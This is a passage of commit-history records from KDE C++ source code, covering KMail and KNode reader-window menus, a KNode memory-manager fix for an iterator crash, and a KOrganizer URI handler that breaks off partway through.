mReplyAuthorAction = new KAction( i18n(\"Reply to A&uthor...\"), \"mail_reply\",\n SHIFT+Key_A, this,\n SLOT(slotReplyAuthorToMsg()),\n actionCollection(), \"reply_author\" );\n mReplyActionMenu->insert( mReplyAuthorAction );\n\n mReplyAllAction = new KAction( i18n(\"Reply to &All...\"), \"mail_replyall\",\n\t\t\t\t Key_A, this, SLOT(slotReplyAllToMsg()),\n\t\t\t\t actionCollection(), \"reply_all\" );\n mReplyActionMenu->insert( mReplyAllAction );\n\n mReplyListAction = new KAction( i18n(\"Reply to Mailing-&List...\"),\n\t\t\t\t \"mail_replylist\", Key_L, this,\n\t\t\t\t SLOT(slotReplyListToMsg()), actionCollection(),\n\t\t\t\t \"reply_list\" );\n mReplyActionMenu->insert( mReplyListAction );\n\n mPrintAction = KStdAction::print (this, SLOT(slotPrintMsg()), actionCollection());\n createGUI( \"kmreadermainwin.rc\" );\n menuBar()->hide();\n toolBar( \"mainToolBar\" )->hide();\n}\n\n\nvoid KMReaderMainWin::slotMsgPopup(KMMessage &aMsg, const KURL &aUrl, const QPoint& aPoint)\n{\n KPopupMenu * menu = new KPopupMenu;\n mUrl = aUrl;\n mMsg = &aMsg;\n\n if (!aUrl.isEmpty()) {\n if (aUrl.protocol() == \"mailto\") {\n \/\/ popup on a mailto URL\n mReaderWin->mailToComposeAction()->plug( menu );\n if ( mMsg ) {\n\tmReaderWin->mailToReplyAction()->plug( menu );\n\tmReaderWin->mailToForwardAction()->plug( menu );\n menu->insertSeparator();\n }\n mReaderWin->addAddrBookAction()->plug( menu );\n mReaderWin->openAddrBookAction()->plug( menu );\n mReaderWin->copyAction()->plug( menu );\n } else {\n \/\/ popup on a not-mailto URL\n mReaderWin->urlOpenAction()->plug( menu );\n mReaderWin->urlSaveAsAction()->plug( menu );\n mReaderWin->copyURLAction()->plug( menu );\n mReaderWin->addBookmarksAction()->plug( menu );\n }\n } else {\n \/\/ popup somewhere else (i.e., not a URL) on the message\n\n if (!mMsg) \/\/ no message\n {\n delete menu;\n return;\n }\n\n mReplyAction->plug( menu );\n mReplyAllAction->plug( menu );\n mReplyAuthorAction->plug( menu );\n mReplyListAction->plug( menu );\n mForwardActionMenu->plug( menu );\n mBounceAction->plug( menu );\n\n menu->insertSeparator();\n\n QPopupMenu* copyMenu = new QPopupMenu(menu);\n KMMenuCommand::folderToPopupMenu( false, this, &mMenuToFolder, copyMenu );\n menu->insertItem( i18n(\"&Copy To\" ), copyMenu );\n menu->insertSeparator();\n mReaderWin->toggleFixFontAction()->plug( menu );\n mReaderWin->viewSourceAction()->plug( menu );\n\n mPrintAction->plug( menu );\n menu->insertItem( SmallIcon(\"filesaveas\"), i18n( \"Save &As...\" ), mReaderWin, SLOT( slotSaveMsg() ) );\n menu->insertItem( i18n(\"Save Attachments...\"), mReaderWin, SLOT(slotSaveAttachments()) );\n }\n menu->exec(aPoint, 0);\n delete menu;\n}\n\nvoid KMReaderMainWin::copySelectedToFolder( int menuId )\n{\n if (!mMenuToFolder[menuId])\n return;\n\n KMCommand *command = new KMCopyCommand( mMenuToFolder[menuId], mMsg );\n command->start();\n}\n<|endoftext|>"} {"text":"<commit_before>\/***************************************************************************\n knarticlewindow.cpp - description\n -------------------\n\n copyright : (C) 2000 by Christian Thurner\n email : cthurner@freepage.de\n ***************************************************************************\/\n\n\/***************************************************************************\n * *\n * This program is free software; you can redistribute it and\/or modify *\n * it under the terms of the GNU General Public License as published by *\n * the Free Software Foundation; either version 2 of the License, or *\n * (at your option) any later version. *\n * *\n ***************************************************************************\/\n\n#include <kstdaction.h>\n#include <klocale.h>\n#include <kedittoolbar.h>\n#include <kkeydialog.h>\n#include <khtml_part.h>\n\n#include \"kngroup.h\"\n#include \"knsavedarticle.h\"\n#include \"knfetcharticle.h\"\n#include \"knarticlewidget.h\"\n#include \"knsavedarticlemanager.h\"\n#include \"utilities.h\"\n#include \"knglobals.h\"\n#include \"knode.h\"\n#include \"knarticlewindow.h\"\n\n\nKNArticleWindow::KNArticleWindow(KNArticle *art, KNArticleCollection *col, const char *name )\n : KMainWindow(0, name)\n{\n if(art)\n setCaption(art->subject());\n \/\/setIcon(UserIcon(\"posting\"));\n\n artW=new KNArticleWidget(this);\n artW->setData(art, col);\n setCentralWidget(artW);\n connect(artW, SIGNAL(articleLoaded()), SLOT(slotArticleLoaded()));\n\n *actionCollection() += artW->actions(); \/\/ include the actions of the article widget\n\n \/\/ file menu\n KStdAction::close(this, SLOT(slotFileClose()),actionCollection());\n\n \/\/ article menu\n actPostReply = new KAction(i18n(\"Post &reply\"),\"reply\", Key_R , this, SLOT(slotArtReply()),\n actionCollection(), \"article_postReply\");\n actPostReply->setEnabled(false);\n actMailReply = new KAction(i18n(\"&Mail reply\"),\"mail_reply\", Key_A , this, SLOT(slotArtRemail()),\n actionCollection(), \"article_mailReply\");\n actMailReply->setEnabled(false);\n actForward = new KAction(i18n(\"&Forward\"), \"mail_forward\", Key_F , this, SLOT(slotArtForward()),\n actionCollection(), \"article_forward\");\n actForward->setEnabled(false);\n actCancel = new KAction(i18n(\"article\",\"&Cancel\"), 0 , this, SLOT(slotArtCancel()),\n actionCollection(), \"article_cancel\");\n actCancel->setEnabled(false);\n actSupersede = new KAction(i18n(\"&Supersede\"), 0 , this, SLOT(slotArtSupersede()),\n actionCollection(), \"article_supersede\");\n actSupersede->setEnabled(false);\n\n \/\/ settings menu\n KStdAction::showToolbar(this, SLOT(slotToggleToolBar()), actionCollection());\n KStdAction::keyBindings(this, SLOT(slotConfKeys()), actionCollection());\n KStdAction::configureToolbars(this, SLOT(slotConfToolbar()), actionCollection());\n KStdAction::preferences(knGlobals.top, SLOT(slotSettings()), actionCollection());\n\n createGUI(\"knreaderui.rc\");\n\n restoreWindowSize(\"reader\", this, QSize(500,400));\n}\n\n\n\nKNArticleWindow::~KNArticleWindow()\n{\n saveWindowSize(\"reader\", size()); \n}\n\n\n\nvoid KNArticleWindow::slotArticleLoaded()\n{\n actPostReply->setEnabled(true);\n actMailReply->setEnabled(true);\n actForward->setEnabled(true);\n actCancel->setEnabled(true);\n actSupersede->setEnabled(true);\n}\n\n\n\nvoid KNArticleWindow::slotFileClose()\n{\n close();\n}\n\n\n\nvoid KNArticleWindow::slotArtReply()\n{\n knGlobals.sArtManager->reply(artW->article(),static_cast<KNGroup*>(artW->collection()));\n}\n\n\n\nvoid KNArticleWindow::slotArtRemail()\n{\n knGlobals.sArtManager->reply(artW->article(), 0);\n}\n\n\n\nvoid KNArticleWindow::slotArtForward()\n{\n knGlobals.sArtManager->forward(artW->article());\n}\n\n\n\nvoid KNArticleWindow::slotArtCancel()\n{\n knGlobals.sArtManager->cancel(static_cast<KNFetchArticle*>(artW->article()),static_cast<KNGroup*>(artW->collection()));\n}\n\n\n\nvoid KNArticleWindow::slotArtSupersede()\n{\n knGlobals.sArtManager->supersede(static_cast<KNFetchArticle*>(artW->article()),static_cast<KNGroup*>(artW->collection()));\n}\n\n\n\nvoid KNArticleWindow::slotToggleToolBar()\n{\n if(toolBar(\"mainToolBar\")->isVisible())\n toolBar(\"mainToolBar\")->hide();\n else\n toolBar(\"mainToolBar\")->show();\n}\n\n\n\nvoid KNArticleWindow::slotConfKeys()\n{\n KKeyDialog::configureKeys(actionCollection(), xmlFile(), true, this);\n}\n\n\n \nvoid KNArticleWindow::slotConfToolbar()\n{\n KEditToolbar *dlg = new KEditToolbar(guiFactory(),this);\n if (dlg->exec()) {\n \/\/guiFactory()->removeClient(artW->part());\n createGUI(\"knreaderui.rc\",false);\n \/\/guiFactory()->addClient(artW->part());\n conserveMemory();\n }\n delete dlg;\n}\n\n\n\/\/--------------------------------\n\n#include \"knarticlewindow.moc\"\n<commit_msg>- actPostReply = new KAction(i18n(\"Post &reply\"),\"reply\", Key_R , this, SLOT(slotArtReply()), + actPostReply = new KAction(i18n(\"Post &reply\"),\"message_reply\", Key_R , this, SLOT(slotArtReply()),<commit_after>\/***************************************************************************\n knarticlewindow.cpp - description\n -------------------\n\n copyright : (C) 2000 by Christian Thurner\n email : cthurner@freepage.de\n ***************************************************************************\/\n\n\/***************************************************************************\n * *\n * This program is free software; you can redistribute it and\/or modify *\n * it under the terms of the GNU General Public License as published by *\n * the Free Software Foundation; either version 2 of the License, or *\n * (at your option) any later version. *\n * *\n ***************************************************************************\/\n\n#include <kstdaction.h>\n#include <klocale.h>\n#include <kedittoolbar.h>\n#include <kkeydialog.h>\n#include <khtml_part.h>\n\n#include \"kngroup.h\"\n#include \"knsavedarticle.h\"\n#include \"knfetcharticle.h\"\n#include \"knarticlewidget.h\"\n#include \"knsavedarticlemanager.h\"\n#include \"utilities.h\"\n#include \"knglobals.h\"\n#include \"knode.h\"\n#include \"knarticlewindow.h\"\n\n\nKNArticleWindow::KNArticleWindow(KNArticle *art, KNArticleCollection *col, const char *name )\n : KMainWindow(0, name)\n{\n if(art)\n setCaption(art->subject());\n \/\/setIcon(UserIcon(\"posting\"));\n\n artW=new KNArticleWidget(this);\n artW->setData(art, col);\n setCentralWidget(artW);\n connect(artW, SIGNAL(articleLoaded()), SLOT(slotArticleLoaded()));\n\n *actionCollection() += artW->actions(); \/\/ include the actions of the article widget\n\n \/\/ file menu\n KStdAction::close(this, SLOT(slotFileClose()),actionCollection());\n\n \/\/ article menu\n actPostReply = new KAction(i18n(\"Post &reply\"),\"message_reply\", Key_R , this, SLOT(slotArtReply()),\n actionCollection(), \"article_postReply\");\n actPostReply->setEnabled(false);\n actMailReply = new KAction(i18n(\"&Mail reply\"),\"mail_reply\", Key_A , this, SLOT(slotArtRemail()),\n actionCollection(), \"article_mailReply\");\n actMailReply->setEnabled(false);\n actForward = new KAction(i18n(\"&Forward\"), \"mail_forward\", Key_F , this, SLOT(slotArtForward()),\n actionCollection(), \"article_forward\");\n actForward->setEnabled(false);\n actCancel = new KAction(i18n(\"article\",\"&Cancel\"), 0 , this, SLOT(slotArtCancel()),\n actionCollection(), \"article_cancel\");\n actCancel->setEnabled(false);\n actSupersede = new KAction(i18n(\"&Supersede\"), 0 , this, SLOT(slotArtSupersede()),\n actionCollection(), \"article_supersede\");\n actSupersede->setEnabled(false);\n\n \/\/ settings menu\n KStdAction::showToolbar(this, SLOT(slotToggleToolBar()), actionCollection());\n KStdAction::keyBindings(this, SLOT(slotConfKeys()), actionCollection());\n KStdAction::configureToolbars(this, SLOT(slotConfToolbar()), actionCollection());\n KStdAction::preferences(knGlobals.top, SLOT(slotSettings()), actionCollection());\n\n createGUI(\"knreaderui.rc\");\n\n restoreWindowSize(\"reader\", this, QSize(500,400));\n}\n\n\n\nKNArticleWindow::~KNArticleWindow()\n{\n saveWindowSize(\"reader\", size()); \n}\n\n\n\nvoid KNArticleWindow::slotArticleLoaded()\n{\n actPostReply->setEnabled(true);\n actMailReply->setEnabled(true);\n actForward->setEnabled(true);\n actCancel->setEnabled(true);\n actSupersede->setEnabled(true);\n}\n\n\n\nvoid KNArticleWindow::slotFileClose()\n{\n close();\n}\n\n\n\nvoid KNArticleWindow::slotArtReply()\n{\n knGlobals.sArtManager->reply(artW->article(),static_cast<KNGroup*>(artW->collection()));\n}\n\n\n\nvoid KNArticleWindow::slotArtRemail()\n{\n knGlobals.sArtManager->reply(artW->article(), 0);\n}\n\n\n\nvoid KNArticleWindow::slotArtForward()\n{\n knGlobals.sArtManager->forward(artW->article());\n}\n\n\n\nvoid KNArticleWindow::slotArtCancel()\n{\n knGlobals.sArtManager->cancel(static_cast<KNFetchArticle*>(artW->article()),static_cast<KNGroup*>(artW->collection()));\n}\n\n\n\nvoid KNArticleWindow::slotArtSupersede()\n{\n knGlobals.sArtManager->supersede(static_cast<KNFetchArticle*>(artW->article()),static_cast<KNGroup*>(artW->collection()));\n}\n\n\n\nvoid KNArticleWindow::slotToggleToolBar()\n{\n if(toolBar(\"mainToolBar\")->isVisible())\n toolBar(\"mainToolBar\")->hide();\n else\n toolBar(\"mainToolBar\")->show();\n}\n\n\n\nvoid KNArticleWindow::slotConfKeys()\n{\n KKeyDialog::configureKeys(actionCollection(), xmlFile(), true, this);\n}\n\n\n \nvoid KNArticleWindow::slotConfToolbar()\n{\n KEditToolbar *dlg = new KEditToolbar(guiFactory(),this);\n if (dlg->exec()) {\n \/\/guiFactory()->removeClient(artW->part());\n createGUI(\"knreaderui.rc\",false);\n \/\/guiFactory()->addClient(artW->part());\n conserveMemory();\n }\n delete dlg;\n}\n\n\n\/\/--------------------------------\n\n#include \"knarticlewindow.moc\"\n<|endoftext|>"} {"text":"<commit_before>\/*\n KNode, the KDE newsreader\n Copyright (c) 1999-2005 the KNode authors.\n See file AUTHORS for details\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software Foundation,\n Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, US\n*\/\n\n#include <kdebug.h>\n\n#include \"knmemorymanager.h\"\n#include \"knfolder.h\"\n#include \"knglobals.h\"\n#include \"knconfigmanager.h\"\n#include \"knarticlemanager.h\"\n#include \"kngroupmanager.h\"\n#include \"knfoldermanager.h\"\n\n\nKNMemoryManager::KNMemoryManager()\n : c_ollCacheSize(0), a_rtCacheSize(0)\n{\n}\n\n\nKNMemoryManager::~KNMemoryManager()\n{\n for ( QValueList<CollectionItem*>::Iterator it = mColList.begin(); it != mColList.end(); ++it )\n delete (*it);\n for ( QValueList<ArticleItem*>::Iterator it = mArtList.begin(); it != mArtList.end(); ++it )\n delete (*it);\n}\n\n\nvoid KNMemoryManager::updateCacheEntry(KNArticleCollection *c)\n{\n CollectionItem *ci;\n int oldSize=0;\n\n if( (ci=findCacheEntry(c, true)) ) { \/\/ item is taken from the list\n oldSize=ci->storageSize;\n ci->sync();\n kdDebug(5003) << \"KNMemoryManager::updateCacheEntry() : collection (\" << c->name() << \") updated\" << endl;\n }\n else {\n ci=new CollectionItem(c);\n kdDebug(5003) << \"KNMemoryManager::updateCacheEntry() : collection (\" << c->name() << \") added\" << endl;\n }\n\n mColList.append(ci);\n c_ollCacheSize += (ci->storageSize - oldSize);\n checkMemoryUsageCollections();\n}\n\n\nvoid KNMemoryManager::removeCacheEntry(KNArticleCollection *c)\n{\n CollectionItem *ci;\n ci=findCacheEntry(c, true);\n\n if(ci) {\n c_ollCacheSize -= ci->storageSize;\n delete ci;\n\n kdDebug(5003) << \"KNMemoryManager::removeCacheEntry() : collection removed (\" << c->name() << \"), \"\n << mColList.count() << \" collections left in cache\" << endl;\n }\n}\n\n\nvoid KNMemoryManager::prepareLoad(KNArticleCollection *c)\n{\n CollectionItem ci(c);\n\n c_ollCacheSize += ci.storageSize;\n checkMemoryUsageCollections();\n c_ollCacheSize -= ci.storageSize;\n}\n\n\nvoid KNMemoryManager::updateCacheEntry(KNArticle *a)\n{\n ArticleItem *ai;\n int oldSize=0;\n\n if( (ai=findCacheEntry(a, true)) ) {\n oldSize=ai->storageSize;\n ai->sync();\n kdDebug(5003) << \"KNMemoryManager::updateCacheEntry() : article updated\" << endl;\n }\n else {\n ai=new ArticleItem(a);\n kdDebug(5003) << \"KNMemoryManager::updateCacheEntry() : article added\" << endl;\n }\n\n mArtList.append(ai);\n a_rtCacheSize += (ai->storageSize - oldSize);\n checkMemoryUsageArticles();\n}\n\n\nvoid KNMemoryManager::removeCacheEntry(KNArticle *a)\n{\n ArticleItem *ai;\n\n if( (ai=findCacheEntry(a, true)) ) {\n a_rtCacheSize -= ai->storageSize;\n delete ai;\n\n kdDebug(5003) << \"KNMemoryManager::removeCacheEntry() : article removed, \"\n << mArtList.count() << \" articles left in cache\" << endl;\n\n }\n}\n\n\nKNMemoryManager::CollectionItem* KNMemoryManager::findCacheEntry(KNArticleCollection *c, bool take)\n{\n for ( QValueList<CollectionItem*>::Iterator it = mColList.begin(); it != mColList.end(); ++it ) {\n if ( (*it)->col == c ) {\n if ( take )\n mColList.remove( it );\n return (*it);\n }\n }\n\n return 0;\n}\n\n\nKNMemoryManager::ArticleItem* KNMemoryManager::findCacheEntry(KNArticle *a, bool take)\n{\n for ( QValueList<ArticleItem*>::Iterator it = mArtList.begin(); it != mArtList.end(); ++it ) {\n if ( (*it)->art == a ) {\n if ( take )\n mArtList.remove( it );\n return (*it);\n }\n }\n\n return 0;\n}\n\n\nvoid KNMemoryManager::checkMemoryUsageCollections()\n{\n int maxSize = knGlobals.configManager()->readNewsGeneral()->collCacheSize() * 1024;\n KNArticleCollection *c=0;\n\n if (c_ollCacheSize > maxSize) {\n QValueList<CollectionItem*> tempList( mColList ); \/\/ work on a copy, KNGroup-\/Foldermanager will\n \/\/ modify the original list\n\n for ( QValueList<CollectionItem*>::Iterator it = tempList.begin(); it != tempList.end(); ) {\n if ( c_ollCacheSize <= maxSize )\n break;\n \/\/ unloadHeaders() will remove the cache entry and thus invalidate the iterator!\n c = (*it)->col;\n ++it;\n\n if (c->type() == KNCollection::CTgroup)\n knGlobals.groupManager()->unloadHeaders(static_cast<KNGroup*>(c), false); \/\/ *try* to unload\n else\n if (c->type() == KNCollection::CTfolder)\n knGlobals.folderManager()->unloadHeaders(static_cast<KNFolder*>(c), false); \/\/ *try* to unload\n }\n }\n\n kdDebug(5003) << \"KNMemoryManager::checkMemoryUsageCollections() : \"\n << mColList.count() << \" collections in cache => Usage : \"\n << ( c_ollCacheSize*100.0 \/ maxSize ) << \"%\" << endl;\n}\n\n\nvoid KNMemoryManager::checkMemoryUsageArticles()\n{\n int maxSize = knGlobals.configManager()->readNewsGeneral()->artCacheSize() * 1024;\n\n if (a_rtCacheSize > maxSize) {\n QValueList<ArticleItem*> tempList( mArtList ); \/\/ work on a copy, KNArticlemanager will\n \/\/ modify the original list\n\n for ( QValueList<ArticleItem*>::Iterator it = mArtList.begin(); it != mArtList.end(); ) {\n if ( a_rtCacheSize <= maxSize )\n break;\n \/\/ unloadArticle() will remove the cache entry and thus invalidate the iterator!\n KNArticle *art = (*it)->art;\n ++it;\n knGlobals.articleManager()->unloadArticle( art, false ); \/\/ *try* to unload\n }\n }\n\n kdDebug(5003) << \"KNMemoryManager::checkMemoryUsageArticles() : \"\n << mArtList.count() << \" articles in cache => Usage : \"\n << ( a_rtCacheSize*100.0 \/ maxSize ) << \"%\" << endl;\n}\n\n\nvoid KNMemoryManager::ArticleItem::sync()\n{\n storageSize=art->storageSize();\n}\n\n\nvoid KNMemoryManager::CollectionItem::sync()\n{\n storageSize=col->length()*1024; \/\/ rule of thumb : ~1k per header\n}\n\n<commit_msg>Fix crash.<commit_after>\/*\n KNode, the KDE newsreader\n Copyright (c) 1999-2005 the KNode authors.\n See file AUTHORS for details\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software Foundation,\n Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, US\n*\/\n\n#include <kdebug.h>\n\n#include \"knmemorymanager.h\"\n#include \"knfolder.h\"\n#include \"knglobals.h\"\n#include \"knconfigmanager.h\"\n#include \"knarticlemanager.h\"\n#include \"kngroupmanager.h\"\n#include \"knfoldermanager.h\"\n\n\nKNMemoryManager::KNMemoryManager()\n : c_ollCacheSize(0), a_rtCacheSize(0)\n{\n}\n\n\nKNMemoryManager::~KNMemoryManager()\n{\n for ( QValueList<CollectionItem*>::Iterator it = mColList.begin(); it != mColList.end(); ++it )\n delete (*it);\n for ( QValueList<ArticleItem*>::Iterator it = mArtList.begin(); it != mArtList.end(); ++it )\n delete (*it);\n}\n\n\nvoid KNMemoryManager::updateCacheEntry(KNArticleCollection *c)\n{\n CollectionItem *ci;\n int oldSize=0;\n\n if( (ci=findCacheEntry(c, true)) ) { \/\/ item is taken from the list\n oldSize=ci->storageSize;\n ci->sync();\n kdDebug(5003) << \"KNMemoryManager::updateCacheEntry() : collection (\" << c->name() << \") updated\" << endl;\n }\n else {\n ci=new CollectionItem(c);\n kdDebug(5003) << \"KNMemoryManager::updateCacheEntry() : collection (\" << c->name() << \") added\" << endl;\n }\n\n mColList.append(ci);\n c_ollCacheSize += (ci->storageSize - oldSize);\n checkMemoryUsageCollections();\n}\n\n\nvoid KNMemoryManager::removeCacheEntry(KNArticleCollection *c)\n{\n CollectionItem *ci;\n ci=findCacheEntry(c, true);\n\n if(ci) {\n c_ollCacheSize -= ci->storageSize;\n delete ci;\n\n kdDebug(5003) << \"KNMemoryManager::removeCacheEntry() : collection removed (\" << c->name() << \"), \"\n << mColList.count() << \" collections left in cache\" << endl;\n }\n}\n\n\nvoid KNMemoryManager::prepareLoad(KNArticleCollection *c)\n{\n CollectionItem ci(c);\n\n c_ollCacheSize += ci.storageSize;\n checkMemoryUsageCollections();\n c_ollCacheSize -= ci.storageSize;\n}\n\n\nvoid KNMemoryManager::updateCacheEntry(KNArticle *a)\n{\n ArticleItem *ai;\n int oldSize=0;\n\n if( (ai=findCacheEntry(a, true)) ) {\n oldSize=ai->storageSize;\n ai->sync();\n kdDebug(5003) << \"KNMemoryManager::updateCacheEntry() : article updated\" << endl;\n }\n else {\n ai=new ArticleItem(a);\n kdDebug(5003) << \"KNMemoryManager::updateCacheEntry() : article added\" << endl;\n }\n\n mArtList.append(ai);\n a_rtCacheSize += (ai->storageSize - oldSize);\n checkMemoryUsageArticles();\n}\n\n\nvoid KNMemoryManager::removeCacheEntry(KNArticle *a)\n{\n ArticleItem *ai;\n\n if( (ai=findCacheEntry(a, true)) ) {\n a_rtCacheSize -= ai->storageSize;\n delete ai;\n\n kdDebug(5003) << \"KNMemoryManager::removeCacheEntry() : article removed, \"\n << mArtList.count() << \" articles left in cache\" << endl;\n\n }\n}\n\n\nKNMemoryManager::CollectionItem* KNMemoryManager::findCacheEntry(KNArticleCollection *c, bool take)\n{\n for ( QValueList<CollectionItem*>::Iterator it = mColList.begin(); it != mColList.end(); ++it ) {\n if ( (*it)->col == c ) {\n CollectionItem *ret = (*it);\n if ( take )\n mColList.remove( it );\n return ret;\n }\n }\n\n return 0;\n}\n\n\nKNMemoryManager::ArticleItem* KNMemoryManager::findCacheEntry(KNArticle *a, bool take)\n{\n for ( QValueList<ArticleItem*>::Iterator it = mArtList.begin(); it != mArtList.end(); ++it ) {\n if ( (*it)->art == a ) {\n ArticleItem *ret = (*it);\n if ( take )\n mArtList.remove( it );\n return ret;\n }\n }\n\n return 0;\n}\n\n\nvoid KNMemoryManager::checkMemoryUsageCollections()\n{\n int maxSize = knGlobals.configManager()->readNewsGeneral()->collCacheSize() * 1024;\n KNArticleCollection *c=0;\n\n if (c_ollCacheSize > maxSize) {\n QValueList<CollectionItem*> tempList( mColList ); \/\/ work on a copy, KNGroup-\/Foldermanager will\n \/\/ modify the original list\n\n for ( QValueList<CollectionItem*>::Iterator it = tempList.begin(); it != tempList.end(); ) {\n if ( c_ollCacheSize <= maxSize )\n break;\n \/\/ unloadHeaders() will remove the cache entry and thus invalidate the iterator!\n c = (*it)->col;\n ++it;\n\n if (c->type() == KNCollection::CTgroup)\n knGlobals.groupManager()->unloadHeaders(static_cast<KNGroup*>(c), false); \/\/ *try* to unload\n else\n if (c->type() == KNCollection::CTfolder)\n knGlobals.folderManager()->unloadHeaders(static_cast<KNFolder*>(c), false); \/\/ *try* to unload\n }\n }\n\n kdDebug(5003) << \"KNMemoryManager::checkMemoryUsageCollections() : \"\n << mColList.count() << \" collections in cache => Usage : \"\n << ( c_ollCacheSize*100.0 \/ maxSize ) << \"%\" << endl;\n}\n\n\nvoid KNMemoryManager::checkMemoryUsageArticles()\n{\n int maxSize = knGlobals.configManager()->readNewsGeneral()->artCacheSize() * 1024;\n\n if (a_rtCacheSize > maxSize) {\n QValueList<ArticleItem*> tempList( mArtList ); \/\/ work on a copy, KNArticlemanager will\n \/\/ modify the original list\n\n for ( QValueList<ArticleItem*>::Iterator it = mArtList.begin(); it != mArtList.end(); ) {\n if ( a_rtCacheSize <= maxSize )\n break;\n \/\/ unloadArticle() will remove the cache entry and thus invalidate the iterator!\n KNArticle *art = (*it)->art;\n ++it;\n knGlobals.articleManager()->unloadArticle( art, false ); \/\/ *try* to unload\n }\n }\n\n kdDebug(5003) << \"KNMemoryManager::checkMemoryUsageArticles() : \"\n << mArtList.count() << \" articles in cache => Usage : \"\n << ( a_rtCacheSize*100.0 \/ maxSize ) << \"%\" << endl;\n}\n\n\nvoid KNMemoryManager::ArticleItem::sync()\n{\n storageSize=art->storageSize();\n}\n\n\nvoid KNMemoryManager::CollectionItem::sync()\n{\n storageSize=col->length()*1024; \/\/ rule of thumb : ~1k per header\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n This file is part of KOrganizer.\n\n Copyright (c) 2003 Cornelius Schumacher <schumacher@kde.org>\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n\n As a special exception, permission is given to link this program\n with any edition of Qt, and distribute the resulting executable,\n without including the source code for Qt in the source distribution.\n*\/\n\n#include \"urihandler.h\"\n\n#ifndef KORG_NODCOP\n#include <dcopclient.h>\n#include \"kmailIface_stub.h\"\n#endif\n\n#include <kiconloader.h>\n#include <krun.h>\n#include <kapplication.h>\n#include <kprocess.h>\n#include <kdebug.h>\n\nbool UriHandler::process( const QString &uri )\n{\n kdDebug(5850) << \"UriHandler::process(): \" << uri << endl;\n\n#ifndef KORG_NODCOP\n if ( uri.startsWith( \"kmail:\" ) ) {\n \/\/ make sure kmail is running or the part is shown\n kapp->startServiceByDesktopPath(\"kmail\");\n \/\/ parse string, show\n int start = uri.find( ':' ) + 1;\n int delimiter = uri.find( '\/', start );\n QString serialNumberStr = uri.mid( start, delimiter-start );\n Q_UINT32 serialNumber = serialNumberStr.toUInt();\n QString messageId = uri.mid( delimiter+1 );\n kdDebug(5850) << \"SERIALNUMBERSTR: \" << serialNumberStr << \" MESSAGEID: \"\n << messageId << endl;\n KMailIface_stub kmailIface( \"kmail\", \"KMailIface\" );\n kmailIface.showMail( serialNumber, messageId );\n return true;\n } else if ( uri.startsWith( \"mailto:\" ) ) {\n KApplication::kApplication()->invokeMailer( uri.mid(7), QString::null );\n return true;\n } else if ( uri.startsWith( \"uid:\" ) ) {\n DCOPClient *client = KApplication::kApplication()->dcopClient();\n const QByteArray noParamData;\n const QByteArray paramData;\n QByteArray replyData;\n QCString replyTypeStr;\n bool foundAbbrowser = client->call( \"kaddressbook\", \"KAddressBookIface\",\n \"interfaces()\", noParamData,\n replyTypeStr, replyData );\n if ( foundAbbrowser ) {\n \/\/KAddressbook is already running, so just DCOP to it to bring up the contact editor\n \/\/client->send(\"kaddressbook\",\"KAddressBookIface\",\n QDataStream arg( paramData, IO_WriteOnly );\n arg << uri.mid( 6 );\n#if KDE_IS_VERSION( 3, 2, 90 )\n kapp->updateRemoteUserTimestamp(\"kaddressbook\");\n#endif\n client->send( \"kaddressbook\", \"KAddressBookIface\",\n \"showContactEditor( QString )\", paramData );\n return true;\n } else {\n \/*\n KaddressBook is not already running. Pass it the UID of the contact via the command line while starting it - its neater.\n We start it without its main interface\n *\/\n KIconLoader *iconLoader = new KIconLoader();\n QString iconPath = iconLoader->iconPath( \"go\", KIcon::Small );\n QString tmpStr = \"kaddressbook --editor-only --uid \";\n tmpStr += KProcess::quote( uri.mid( 6 ) );\n KRun::runCommand( tmpStr, \"KAddressBook\", iconPath );\n return true;\n }\n }\n else { \/\/ no special URI, let KDE handle it\n new KRun(KURL( uri ));\n }\n#endif\n \n return false;\n}\n<commit_msg>Backport fix for failing DCOP call<commit_after>\/*\n This file is part of KOrganizer.\n\n Copyright (c) 2003 Cornelius Schumacher <schumacher@kde.org>\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n\n As a special exception, permission is given to link this program\n with any edition of Qt, and distribute the resulting executable,\n without including the source code for Qt in the source distribution.\n*\/\n\n#include \"urihandler.h\"\n\n#ifndef KORG_NODCOP\n#include <dcopclient.h>\n#include \"kmailIface_stub.h\"\n#endif\n\n#include <kiconloader.h>\n#include <krun.h>\n#include <kapplication.h>\n#include <kprocess.h>\n#include <kdebug.h>\n\nbool UriHandler::process( const QString &uri )\n{\n kdDebug(5850) << \"UriHandler::process(): \" << uri << endl;\n\n#ifndef KORG_NODCOP\n if ( uri.startsWith( \"kmail:\" ) ) {\n \/\/ make sure kmail is running or the part is shown\n kapp->startServiceByDesktopPath(\"kmail\");\n \/\/ parse string, show\n int start = uri.find( ':' ) + 1;\n int delimiter = uri.find( '\/', start );\n QString serialNumberStr = uri.mid( start, delimiter-start );\n Q_UINT32 serialNumber = serialNumberStr.toUInt();\n QString messageId = uri.mid( delimiter+1 );\n kdDebug(5850) << \"SERIALNUMBERSTR: \" << serialNumberStr << \" MESSAGEID: \"\n << messageId << endl;\n KMailIface_stub kmailIface( 